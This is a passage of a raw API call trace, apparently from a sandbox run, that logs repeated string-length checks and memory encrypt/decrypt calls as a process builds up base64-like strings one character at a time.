(param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙뿞鎁斿訤ẁ摱龃⋹) returned 0x28 [0235.242] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙뿞鎁斿訤ẁ摱龃⋹) returned 0x28 [0235.242] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvk∄⺿㵲䧏") returned 0x28 [0235.242] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙ｦ綤鴈흗浇ꘂ끁≾) returned 0x28 [0235.242] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙ｦ綤鴈흗浇ꘂ끁≾) returned 0x28 [0235.242] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU⺿㵲䧏") returned 0x28 [0235.243] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙腦宁ዣ霴ꂃ∽) returned 0x28 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙腦宁ዣ霴ꂃ∽) returned 0x28 [0235.243] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8⺿㵲䧏") returned 0x28 [0235.243] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙뵦뒝髈ꡳှᳪⰸ⊯) returned 0x28 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙뵦뒝髈ꡳှᳪⰸ⊯) returned 0x28 [0235.243] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8U㵲䧏") returned 0x28 [0235.243] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙桦㯺豽灛尜▘⋗) returned 0x28 [0235.243] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙桦㯺豽灛尜▘⋗) returned 0x28 [0235.243] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.244] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8UR䧏") returned 0x28 [0235.244] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙鉦檇࿪Ա⼭⊢) returned 0x28 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙鉦檇࿪Ա⼭⊢) returned 0x28 [0235.244] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.244] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8URE") returned 0x28 [0235.244] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯⋛) returned 0x28 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯⋛) returned 0x28 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯⋛) returned 0x28 [0235.244] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯⋛) returned 0x30 [0235.245] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8URE1ⶪㄋⶐ뚧㨶鲙ᙌ") returned 0x30 [0235.245] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯렾͏䘘㡽댈鋟⋮) returned 0x30 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯렾͏䘘㡽댈鋟⋮) returned 0x30 [0235.245] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8URE11ㄋⶐ뚧㨶鲙ᙌ") returned 0x30 [0235.245] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯믛ソ㖿鴫討䗦㬬؂⋺) returned 0x30 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯믛ソ㖿鴫討䗦㬬؂⋺) returned 0x30 [0235.245] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8URE11kⶐ뚧㨶鲙ᙌ") returned 0x30 [0235.245] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯꧛积⪈໦ꟶ脞淋菘⋝) returned 0x30 [0235.245] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯꧛积⪈໦ꟶ脞淋菘⋝) returned 0x30 [0235.246] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.246] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCvkU8URE11k=뚧㨶鲙ᙌ") returned 0x30 [0235.246] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0235.246] EtwEventActivityIdControl () returned 0x0 [0235.246] EtwEventActivityIdControl () returned 0x0 [0235.246] EtwEventActivityIdControl () returned 0x0 [0235.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.247] EtwEventActivityIdControl () returned 0x0 [0235.247] EtwEventActivityIdControl () returned 0x0 [0235.247] EtwEventActivityIdControl () returned 0x0 [0235.250] SysStringLen (param_1="") returned 0x8 [0235.250] SysStringLen (param_1="N") returned 0x8 [0235.250] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.250] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.250] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.250] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="ND") returned 0x8 [0235.251] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.251] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.251] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="NDZ") returned 0x8 [0235.251] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.251] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.251] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="NDZl") returned 0x8 [0235.251] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.251] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.251] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.251] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="NDZlO") returned 0x8 [0235.252] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.252] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.252] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="NDZlOD") returned 0x8 [0235.252] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.252] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.252] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="NDZlODR") returned 0x8 [0235.252] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.252] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.252] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.253] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.253] SysStringLen (param_1="NDZlODRm") returned 0x8 [0235.253] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.253] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0235.253] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.254] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.254] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.254] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.254] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0235.254] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.254] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.254] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.254] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0235.255] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.255] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0235.255] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.255] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0235.255] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.255] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.255] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.255] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0235.256] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.256] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.256] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0235.256] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.256] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0235.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.256] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0235.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.257] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0235.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.257] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0235.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.257] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.257] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.257] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0235.257] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.258] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0235.258] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.258] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0235.258] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.258] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0235.258] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.258] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.258] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.259] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0235.259] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0235.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.259] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0235.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.259] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0235.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0235.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0235.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.260] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.260] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0235.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.261] SystemFunction041 (in: Memory=0x32ce8c, 